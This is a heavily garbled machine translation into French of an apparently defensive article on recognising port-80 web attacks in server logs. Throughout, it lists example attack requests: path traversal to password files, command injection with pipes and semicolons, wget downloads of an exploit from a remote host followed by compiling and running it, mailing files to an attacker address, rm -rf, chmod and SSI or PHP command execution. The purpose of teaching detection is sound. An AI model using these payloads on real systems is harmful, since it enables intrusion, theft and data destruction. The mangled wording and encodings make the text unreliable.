80-port de traces d'attaque sur des services web



I. Résumé

II. Une description détaillée des

III. Autres

IV. Analyse d'éviter le débordement

V. transcodage

VI. Conclusion

[Résumé]

Le port du site Web par défaut de 80 à siéger à ses problèmes de sécurité différents continuer à les libérer, même certaines de ces vulnérabilités permettent à un attaquant d'obtenir des privilèges d'administrateur système pour entrer dans le site lui-même, le texte suivant est le port Zenomorph 80 attaques sur certaines des traces recherche, et vous dire comment trouver des problèmes à partir des enregistrements du journal.

Détail] [

Voici en partie grâce à un certain nombre d'affichage Liezi sur les serveurs web et des applications sur leur attaque générale, et ses traces, qui ne représentent que l'attaque Liezi majeur, il n'existe pas de liste de toute forme d'attaque, cette section description détaillée du rôle de chaque attaque, et ses moyens d'exploiter ces vulnérabilités aux attaques.

demande "..." (1) "." ".." Et

Des traces de ces attaques sont très courantes pour les applications web et le serveur web, qui sert à permettre à un attaquant ou un programme ver-virus pour changer le chemin du serveur web, d'accéder à des zones non-public. La plupart des programmes CGI avec ces défauts, ".." la demande.

Exemple:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Ceci montre la requête attaquant Liezi ÉOMS ce fichier, si l'attaquant de la percée web capacité répertoire racine du serveur, puis obtenir de plus amples renseignements et pour obtenir des privilèges supplémentaires.

(2) "20%" demande

20% est la valeur hexadécimale de 16 places qui, bien que cela ne signifie pas que vous pouvez utiliser quelque chose, mais quand vous affichez le journal le trouverez, un certain nombre d'applications de serveur web tournant sur ce caractère peut être effectivement mis en œuvre Par conséquent, vous devriez examiner attentivement le journal. D'autre part, la demande peut parfois aider à effectuer certaines commandes.

Exemple:

http://host/cgi-bin/lame.cgi?page=ls% | 20-al

Cette Liezi montre attaquant d'exécuter une commande unix, annonce l'ensemble du catalogue des documents demandés, à l'origine de l'attaquant d'accéder à des fichiers importants sur votre système, pour l'aider à prévoir en plus les conditions pour obtenir des privilèges.

(3) "% 00" demande

% 00 dit le hexadécimaux 16-octet vide, il est parvenu à duper l'application Web, et de demander différents types de fichiers.

Exemples:

http://host/cgi-bin/lame.cgi?page=index.html

Cela peut être une demande valide dans la machine, si un attaquant au courant de cette demande a été un succès, il sera en outre rechercher les procédures CGI.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Peut-être que le programme CGI n'accepte pas cette demande parce qu'elle est la demande pour vérifier le suffixe de nom de fichier, tels que: types html.shtml ou l'autre des fichiers. La plupart des programmes vous indiquera le type de fichier demandé n'est pas valide, cette fois, il dira les demandes attaquant le fichier doit être un personnage d'un suffixe de type de fichier, alors un attaquant peut obtenir le chemin d'accès système, le nom du fichier, ce qui votre système d'information plus sensible

00html% http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Attention à cette demande, il triche programme CGI que ce document est de déterminer les types de fichiers acceptables, certaines applications des inspections efficaces comme fichier de demande de stupide, qui est couramment utilisé les méthodes de l'attaquant.

(4) "|" demande

Il s'agit d'un caractère pipe, dans le système Unix, une demande d'aide dans la mise en œuvre du système de commandes de plusieurs en même temps.

Exemple:

# Cat access_log | grep-i ".."

(Cette commande va afficher le journal dans le ".." demande, couramment utilisés dans les attaques et les vers trouvés)

Constatent souvent que beaucoup d'applications web utilisez ce caractère, ce qui conduit aussi à des fausses alarmes dans le IDS journaux.

Lors de l'examen attentif de votre demande, alors l'avantage de réduire les fausses alarmes dans les systèmes de détection d'intrusion.

Voici quelques Lie-tseu:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls |

Cette commande demande, voici quelques changements dans Liezi

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%% 20-al | 20/etc

Cette demande est inscrite dans le système UNIX / répertoire etc de tous les fichiers

%% Http://host/cgi-bin/lame.cgi?page=cat 20access_log grep | 20-i% 20 "boiteux"

La demande d'exécution commande cat et la mise en œuvre de la commande grep également, consultez le boiteux "

(5) »,« demande

Dans les systèmes Unix, ce caractère permet à plusieurs d'exécution en ligne de commande

Exemple:

Id #; uname-a

(Mise en oeuvre de la commande id, suivie par la mise en œuvre de la commande uname)

Certains programmes Web avec ce personnage, peut entraîner l'IDS enregistre un avertisseur de panne, vous devez vérifier soigneusement votre programme Web, ainsi vous réduisez le risque d'échec des alertes IDS.

(6) " " et " " Demande

Si vérifier vos logs enregistrer les deux personnages, un certain nombre de raisons, la première est le caractère que les données ajoutées dans le document

Exemple 1:

# Echo "Votre hax0red h0 h0" / etc / motd (demande motd des informations écrites dans le présent document)

Un attaquant peut facilement utiliser la demande ci-dessus altération de votre page web. Tels que le RDS célèbre exploit de l'attaquant est souvent utilisé pour modifier la page Web.

Exemple 2:

% Http://host/something.php=Hi 20mom% 20im% 20Bold!

Html, vous remarquerez que la langue des signes ici, il a passé des personnages " "," ", de telles attaques ne peuvent pas provoquer l'attaquant d'accéder au système, il confond les gens pense que c'est une information sur le Web légitimes site (conduisant à Les gens visitent ce lien pour visiter l'attaquant de définir l'adresse, cette demande peut être encodé en 16 caractères hexadécimaux dans la forme, de sorte que les traces de l'attaque n'est pas si évident)

(7) "!" Demande

langage commun sur cette demande caractère SS (Server Side Include) Je attaque, si l'agresseur est un attaquant confondre l'utilisateur clique sur l'ensemble de liens, et le même que ci-dessus.

Exemple:

http://host1/something.php =

Le Lie-tseu est une attaque peut être le faire pour rendre un site à partir de fichiers host2 host1 apparaît au-dessus (bien sûr, exiger visiteurs de visiter les paramètres de connexion de l'attaquant. Cette demande peut être converti en 16 hex masque d'encodage, pas facile de trouver)

Dans le même temps, cette approche peut également exécuter le site Web de l'autorité de commandement

Exemple:

http://host/something.php =

Le Lieh terme sur le système distant "id" de commande, il affiche l'ID de l'utilisateur du site web, est généralement "nobody" ou "www"

Ce formulaire permet également à l'compris les fichiers cachés.

Exemple:

http://host/something.php =

Les fichiers cachés. Htpasswd ne sera pas affichée, Apache refuse d'établir de telles règles d'. Ht le formulaire de demande, et le logo de SSI contourner ces restrictions, et conduire à des problèmes de sécurité

(8) »,« Demande

De telles attaques pour tenter d'insérer une distance procédures d'applications PHP, il peut laisser l'ordre d'exécution, selon les paramètres du serveur, et d'autres facteurs au travail (tels que PHP est réglé sur le mode sans échec)

Exemple: http://host/something.php = passthru ("id ");?

Dans une application PHP simple, il peut être vers le site Web sur les droits utilisateur à distance du système pour exécuter la commande locale

(9) »» »demande

Ce caractère plus tard utilisé pour exécuter des commandes en perl, les personnages de l'application Web n'est pas souvent utilisé, donc si vous le voyez dans votre journal, doivent être très prudents

Exemple:

http://host/something.cgi = `id`

Ecrire un programme Perl CGI en cause conduirait à la mise en œuvre de la commande id

[En outre]

La section suivante examinera la mise en œuvre de nouvelles attaques pourraient commandement, ainsi que les documents demandés, et si vous avez un défaut d'exécution de commandes à distance, il convient de vérifier comment la découverte. Cette partie est juste pour vous donner une bonne idée, et dites à votre système ce qui se passe, les pirates tentent d'attaquer votre système de traces, mais ne répertorie pas tous de l'attaquant d'utiliser les commandes et les demandes.

"/ Bin / ls"

Cette commande demande le chemin complet, dans les applications web ont cette faille, si vous vous connectez en de nombreux endroits d'une telle demande, il est possible pour les grandes vulnérabilité d'exécution de commandes à distance, mais pas nécessairement un problème peut aussi être une fausse alarme. Une fois de plus rappelé, l'application web écrite (cgi, asp, php, etc ...) est à la base de la sécurité

Exemple:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls% | 20-al

http://host/cgi-bin/bad.cgi?doh=ls% 20-al;

"Cmd.exe"

Il s'agit d'une des fenêtres de la coquille, si un attaquant d'accéder et d'exécuter ce script sur le serveur pour permettre les conditions fixées dans la machine Windows ne peut rien faire, beaucoup de vers à travers le port 80, la communication à la machine distante

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

"/ Bin / id"

Il s'agit d'un deux fichiers binaires, ses problèmes et / bin / ls, comme, si vous vous connectez en de nombreux endroits d'une telle demande, il est possible pour les grandes vulnérabilité d'exécution de commandes à distance, mais pas nécessairement un problème peut aussi être une fausse alarme.

Elle montrera quelle partie appartient à quel utilisateur et le groupe

Exemple:

| Http://host/cgi-bin/bad.cgi?doh=../../../../bin/id

http://host/cgi-bin/bad.cgi?doh=id;

"/ Bin / rm"

Cette commande peut supprimer des fichiers sans l'utilisation correcte est très dangereux

Exemples:

% Http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm 20-rf 20% * |

% Http://host/cgi-bin/bad.cgi?doh=rm 20-rf 20% *;

«Wget et tftp" commande

Ces commandes sont souvent l'attaquant peut obtenir des privilèges plus de télécharger des fichiers, wget est une commande UNIX sous, peut être utilisé pour télécharger des backdoors, TFTP est sous la commande Unix et NT, est utilisé pour télécharger le fichier. Certains vers IIS se répandent par TFTP pour copier le virus à d'autres hôtes

Exemples:

20http% http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget: / / host2/Phantasmp.c | http:// accueil / cgi-bin / bad.cgi? doh 20http% = wget: / / www.hwa-security.net/Phantasmp.c;

"Chat" de commande

Cette commande est utilisée pour afficher le contenu du fichier, utilisé pour lire les informations importantes, telles que les fichiers de configuration, fichiers de mot de passe, les dossiers de crédit et des documents que vous pouvez penser

Exemples:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat 20/etc/motd | http://host/cgi-bin/ cat% bad.cgi? doh = 20/etc/motd;

"Echo" commande

Cette commande sert à écrire des données dans le fichier, telles que "index.html"

Exemples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo 20% fc-# kiwis% 20here 20was% "20% | 200day.txt% http://host/cgi-bin/bad.cgi?doh=echo 20% fc-# kiwis% 20here 20was% "% 200day.txt 20 %;

«P» de commande

Affiche la liste des processus en cours d'exécution, souhaite que l'attaquant d'un hôte distant exécutant le logiciel afin d'avoir une idée des questions de sécurité, pour obtenir d'autres autorisations

Exemples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps% | 20-aux http://host/cgi-bin/bad. CGI? doh =% ps 20-aux;

"Kill et killall commande"

systèmes Unix pour tuer ce processus, un attaquant peut utiliser cette commande pour arrêter les services système et les processus peuvent également effacer les traces de l'attaquant, un exploit va produire un nombre de processus enfants

Exemples: http://host/cgi-bin/bad.cgi?doh=../bin/kill% 20-9% 200% | 20 http://host/cgi-bin/bad.cgi?doh=kill -9% 200;

"Uname" commande

Cette commande indique à l'attaquant le nom de la machine distante, depuis quelque temps, à travers ce site web afin de savoir quel FAI, un attaquant qui peut être visité aujourd'hui. Uname-a pour demander normalement, ceux-ci seront enregistrées dans le fichier journal

Exemples:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname 20-a http://host/cgi-bin/bad |. % uname cgi? doh = 20-a;

"Cc, gcc, perl, python, etc ..." compilation / interprétation de la commande

L'attaquant par wget ou tftp téléchargement exploiter, et l'utilisation du CC, le compilateur gcc pour compiler ce dans un programme exécutable, et les privilèges d'accès plus

Exemples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc% 20Phantasmp.c | http://host/cgi-bin/bad. CGI? doh =% gcc 20Phantasmp.c;. / a.out% p% 20-2031337;

Si vous affichez les trouve dans les journaux "perl" python "Ces instructions peuvent être un attaquant distant de télécharger perl script python, et essayé d'obtenir les privilèges de locaux

"Mail" de commande

Les pirates utilisent souvent ce système de commande, certains documents importants propre boîte aux lettres de l'attaquant, mais aussi prêts à e-mail attentats à la bombe sont réalisées

Exemples:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail 20attacker@fuckcnhonker.org 20%

2.168.22.1;

"Chown, chmod, chgrp, chsh, etc ..." et d'autres commandes

systèmes Unix, afin de leur permettre de modifier le fichier des autorisations

chown = permet de régler le propriétaire du fichier chmod = permet de définir des autorisations de fichier chgrp = permet au propriétaire de changer les permissions du groupe sur les fichiers chsh = permis de changer le shell de l'utilisateur

Exemples:%% 20index.html http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod 20777 | http://host/cgi-bin/ bad.cgi? doh = 20777%% chmod 20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown% 20zeno% 20 / etc / master.passwd% http://host/cgi-bin/bad.cgi?doh=chsh | 20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../. . / .. / .. / bin / chgrp% 20nobody 20/etc/shadow% |

"/ Etc / passwd" file

C'est le fichier de mot de passe du système, généralement hors d'ombre, et ne permet pas de voir le mot de passe crypté, mais pour un attaquant qui peut savoir ce qui est valable d'utilisateur et le chemin absolu du système, le nom du site et d'autres informations, comme c'est généralement par l'ombre de large, de sorte l'attaquant verrez normalement / etc le fichier / shadow

"/ Etc / master.passwd"

Ce fichier est le fichier de mot de passe système BSD, contient le mot de passe crypté, le fichier sur le compte root est uniquement en lecture seule, et certains des attaquants non qualifiés a ouvert sa tentative de lire le contenu à l'intérieur., Si le site est les privilèges root pour exécuter, puis l'attaquant est, on peut lire le contenu à l'intérieur, beaucoup de problèmes à l'administrateur système viendra un après l'autre

"/ Etc / shadow"

Contient un mot de passe système crypté, lire le même sur le compte root, et / et / master.passwd presque

"/ Etc / motd"

Lorsque les utilisateurs se connecter au système Unix, l'information apparaît, dans le message "de la" Journée de fichiers, il fournit des informations importantes du système et l'administrateur des utilisateurs de certains, les utilisateurs qui veulent voir ceux qui ne sont pas, contient également les informations de version du système, l'attaquant habitude de voir ce fichier, de comprendre ce que le système fonctionne sur l'attaquant, la prochaine étape consiste à rechercher ce type de système, d'exploitation, et l'accès à la suite de système de privilèges

"/ Etc / hosts"

Le document fournit l'adresse IP et réseau d'information, un attaquant peut en apprendre davantage sur les paramètres réseau du système

"/ Usr / local / apache / conf / httpd.conf"

Il s'agit d'un serveur web Apache fichier de configuration, un attaquant peut comprendre, comme CGI, SSI et d'autres informations sont accessibles

"/ Etc / inetd.conf"

Ceci est le fichier de configuration du service inetd, un attaquant peut apprendre la machine distante, lancer ces services, s'il faut utiliser le wrapper pour le contrôle d'accès, si l'emballage a été constaté en cours d'exécution, un attaquant à l'étape suivante va vérifier "/ etc / hosts.allow" et "/ etc /" hosts.deny, fichier, et qui peut modifier certains paramètres, les privilèges d'accès

". Htpasswd. Htaccess et. Htgroup"

Ces fichiers sont généralement utilisés dans l'authentification des utilisateurs site Web, l'attaquant devrait consulter ces fichiers, et obtenir un nom d'utilisateur et mot de passe, le fichier de mot de passe. Htpasswd est crypté, briser certains processus de décryptage simple, permettre à un attaquant d'accéder au site les aires protégées (habituellement à l'utilisateur le même nom d'utilisateur et mot de passe, l'attaquant peut même visiter autre compte)

"Access_log error_log et"

Ce sont les fichiers log du serveur Apache, les attaquants souvent consulter ces fichiers, regardez ces demandes sont enregistrées, celles-ci et d'autres demandes de différents endroits

Typiquement, l'attaquant de modifier ces fichiers journaux, tels que son adresse propre, l'attaquant vers le port 80 par le biais de votre système et votre système de sauvegarde ne fonctionne pas non plus, il n'y a pas d'autre programme record système d'enregistrement du statut, qui serait détection d'intrusion devient très difficile de travailler

«[] De lettre de lecteur: winntrepairsam._ ou [de lettre de lecteur]: winntrepairsam"

Windows NT fichier mot de passe système, si la commande à distance ne peut pas être mis en œuvre, les attaquants se demandent généralement ces documents, puis "crack L0pht" du type de mot de passe des outils de craquage à craquer, si l'attaquant tente d'attaquer le fichier de mot de passe administrateur, le cas un succès, la machine distante sera l'attaquant prend le contrôle

[Analyse de débordement]

Dans cet article, je ne dirai pas trop sur le débordement du sujet, je vous donnerai ce que ces phénomènes et des traces de remarquable et d'intérêt particulier, une mémoire tampon est souvent attaqué par la conversion de code malveillant et difficiles à trouver d'autres moyens pour atteindre

Voici un simple mensonge Zi

Exemple: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

Cette Liezi montre l'attaquant sur une demande d'envoyer un lot d'un personnage, pour tester le programme un débordement de tampon, de type buffer overflow peut obtenir un autorisations de commande à distance l'exécution d'accueil, si le propriétaire a le setuid et procédures pour la racine, par le trop-plein, peuvent avoir accès à l'ensemble du système, sinon comme programme setuid, puis le débordement est seulement en exécutant les droits d'utilisation du site Web

Ici, ne peut pas dire toutes les circonstances, mais vous devriez vérifier régulièrement votre fichier de log, si ce jour-là tout à coup trouvé un grand nombre de demandes, mais généralement pas plus de la demande, cela signifie que vous êtes soumis à des attaques par débordement de cours, peut également être Une attaque de réseau nouvelle ver

[Transcodage]

Toutes les attaques mentionnées ci-dessus demande, l'attaquant connaît généralement les systèmes IDS demande de vérification souvent mécanique, généralement l'attaquant utilise les données des outils de conversion pour convertir le contenu du format désiré 16-bande, conduisant à IDS ignorer ces demandes, Nous sommes familiers avec la vulnérabilité CGI outil d'analyse qui est une bonne Liezi moustache. Si vous affichez le journal de l'époque a trouvé un grand nombre de 16 bandes et non pas certains caractères communs, le pirate peut essayer d'utiliser une partie des moyens d'attaquer votre système

Un moyen rapide est votre fichier de log de la demande pour ces hex 16, le copier sur votre navigateur, le navigateur peut être converti en la demande à droite, et affiché le contenu de la demande, si vous n'avez pas courage de prendre ce risque, un homme simple ASCII, peut vous fournir le code correct.

] Conclusion [

Cet article ne peut pas couvrir l'ensemble des 80 ports de l'attaque, mais la plupart ont été cités plus de l'attaque générale, et vous dire comment vérifier vos fichiers de log, et comment ajouter, comme le nombre de règles IDS, écrire son objectif est de Web administrateur système devrait être préoccupé par ce une bonne idée dans le même temps, j'espère que cet article permet aux développeurs Web Web du programme à écrire de meilleurs programmes

DE NOTE: Si vous avez des commentaires et des suggestions, s'il vous plaît envoyez un e-mail admin@cgisecurity.com.